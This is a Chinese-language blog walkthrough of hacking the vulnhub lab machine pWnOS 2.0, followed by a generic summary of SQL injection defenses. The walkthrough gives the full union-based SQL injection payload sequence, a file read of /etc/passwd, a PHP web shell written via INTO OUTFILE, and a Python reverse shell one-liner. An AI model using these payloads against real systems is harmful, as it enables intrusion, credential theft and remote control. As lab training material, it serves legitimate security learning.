黑客零基础第三章-Web漏洞实战-SQL注入pWnOS: 2.0

第八节内容讲述了文件上传漏洞的利用原理,并在DVWA上进行简单的入侵实验。本节以实战的方式,结合vulnhub靶机pWnOS: 2.0 ,让大家进一步SQL注入的实际应用场景。

pWnOS: 2.0这个靶机比较特殊,有多种方法可以进行入侵。低权限shell可以通过 SPHPBlog的一个文件上传漏洞或mysql手工注入。提权可以通过在敏感文件中直接获得root密码或者通过mysql UDF漏洞。本节为突出mysql手工注入,以sql注入+root密码来演示主机。

如果靶机部署有疑问,请留言!

目录

1.信息收集

2.获取低权限shell

 3.提权

4.总结


1.信息收集

此靶机比较特殊,vmware靶机。IP固定10.10.10.100,需要配置虚拟机NAT的IP,如下图所示,

配置完虚拟机后,开启kali,本机地址10.10.10.1

 

使用第二章nmap命令扫描靶机,

root@kali:~# nmap -p `nmap -p- --min-rate=10000 -T4 10.10.10.100| grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//` -sC -sV --min-rate=10000 10.10.10.100                                                                                                 
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-28 04:22 EDT                                                                  
Nmap scan report for 10.10.10.100                                                                                                
Host is up (0.00054s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.8p1 Debian 1ubuntu3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 85:d3:2b:01:09:42:7b:20:4e:30:03:6d:d1:8f:95:ff (DSA)
|   2048 30:7a:31:9a:1b:b8:17:e7:15:df:89:92:0e:cd:58:28 (RSA)
|_  256 10:12:64:4b:7d:ff:6a:87:37:26:38:b1:44:9f:cf:5e (ECDSA)
80/tcp open  http    Apache httpd 2.2.17 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.2.17 (Ubuntu)
|_http-title: Welcome to this Site!
MAC Address: 00:0C:29:01:09:C2 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.08 seconds

 打开浏览器发现有一个longin的界面

尝试sql注入,发现Email存在注入,

burp抓包,然后用repeater进行尝试,

 

2.获取低权限shell

order by获取当前数据表列数,

email=' order by 9-- -

 9出错,8正常,说明有8列。

union select查看哪一列数据显示在界面上。第四列能够显示。

email=' union select 1,2,3,4,5,6,7,8-- -

查看数据库版本

email=' union select 1,2,3,@@version,5,6,7,8-- -

查看当前用户,用户为root@localhost

email=' union select 1,2,3,user(),5,6,7,8-- -

查看数据库名,数据库为ch16.

email=' union select 1,2,3,database(),5,6,7,8-- -

查看数据库中的表,一个表叫users。

email=' union select 1,2,3,group_concat(table_name),5,6,7,8 from information_schema.tables where table_schema=database()-- -

查看表users的列名

email=' union select 1,2,3,group_concat(column_name),5,6,7,8 from information_schema.columns where table_name='users'-- -

根据列查询表users的值。

email=' union select 1,2,3,group_concat(user_id,0x3a,first_name,0x3a,last_name,0x3a,email,0x3a,pass,0x3a,user_level,0x3a),5,6,7,8 from users-- -

 获得一组邮件和密码admin@isints.com:c2c4b4e51d9e23c02c15702c136c3e950ba9a4af

将密码在crackstion上进行破译,发现失败。说明这个密码不可用。

尝试load_file功能,发现可以使用。

email=' union select null,null,null,load_file('/etc/passwd'),null,null,null,null-- -

尝试将一句话写入/var/www目录,

email=' union select null,null,null,"<?php system($_GET['cmd']);?>",null,null,null,null into outfile '/var/www/shell.php'-- -

验证写入的木马,发现已经写入。

email=' union select null,null,null,load_file('/var/www/shell.php'),null,null,null,null-- -

 

尝试执行木马,执行成功。

尝试nc获取反向shell,失败。

尝试python获取反向shell,

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

成功!

 

3.提权

当前目录下,发现一个连接mysql的php文件,这个文件里面肯定有mysql的用户名密码。

查看后发现一组用户名密码,

既然用户名是root,那这个密码可能就是root密码。尝试后失败。

 

切换到var目录又发现一个mysql_connect.php文件,打开后还有一个root密码。

登陆root成功!

4.总结

在发现这个靶机上存在sql注入后直接进行手动注入,获取了一组用户名密码。但密码被加密过无法解密。然后让尝试"into outfile"写入一句话到web目录下。提权直接在var目录下有个mysql连接的php文件,里面有root密码

  • 4
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
SQL注入漏洞挖掘实战是指通过利用SQL注入漏洞漏洞挖掘活动。SQL注入漏洞是一种常见的数据库攻击手段,用于利用应用程序对用户输入的SQL语句进行不当处理,从而导致恶意用户可以执行未经授权的数据库操作。这些操作包括读取、修改或删除数据库中的数据。 在SQL注入漏洞挖掘实战中,黑客通常会尝试通过构造特定的SQL语句来绕过应用程序的输入验证和过滤机制,以获取敏感信息或对数据库进行恶意操作。他们可能会使用各种技术和工具来自动化这个过程,并尝试发现和利用潜在的SQL注入漏洞。 为了防止SQL注入漏洞挖掘实战,开发人员应该采取以下措施: 1. 输入验证和过滤: 应用程序应该对用户输入进行严格的验证和过滤,确保只允许合法的字符和格式。使用参数化查询或预编译语句可以有效预防SQL注入攻击。 2. 最小权限原则: 数据库用户应该被授予最低权限,以限制对数据库的访问和操作。这样即使发生SQL注入攻击,黑客也只能执行有限的操作。 3. 安全编码实践: 开发人员应该熟悉安全编码实践,并使用安全的API和框架来构建应用程序。避免将用户输入直接拼接到SQL查询中,而是使用参数化查询或预编译语句。 4. 定期漏洞扫描和安全测试: 定期进行漏洞扫描和安全测试,以发现和修复潜在的SQL注入漏洞。这可以帮助及早发现和解决问题,确保应用程序的安全性。 总结起来,SQL注入漏洞挖掘实战黑客利用SQL注入漏洞进行恶意攻击的活动。为了防止这种漏洞的利用,开发人员需要采取一系列安全措施,包括输入验证和过滤、最小权限原则、安全编码实践和定期漏洞扫描和安全测试。这些措施可以帮助保护应用程序免受SQL注入漏洞的威胁。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [SQL注入攻击实战演示(附源码)](https://blog.csdn.net/hack0919/article/details/129880265)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值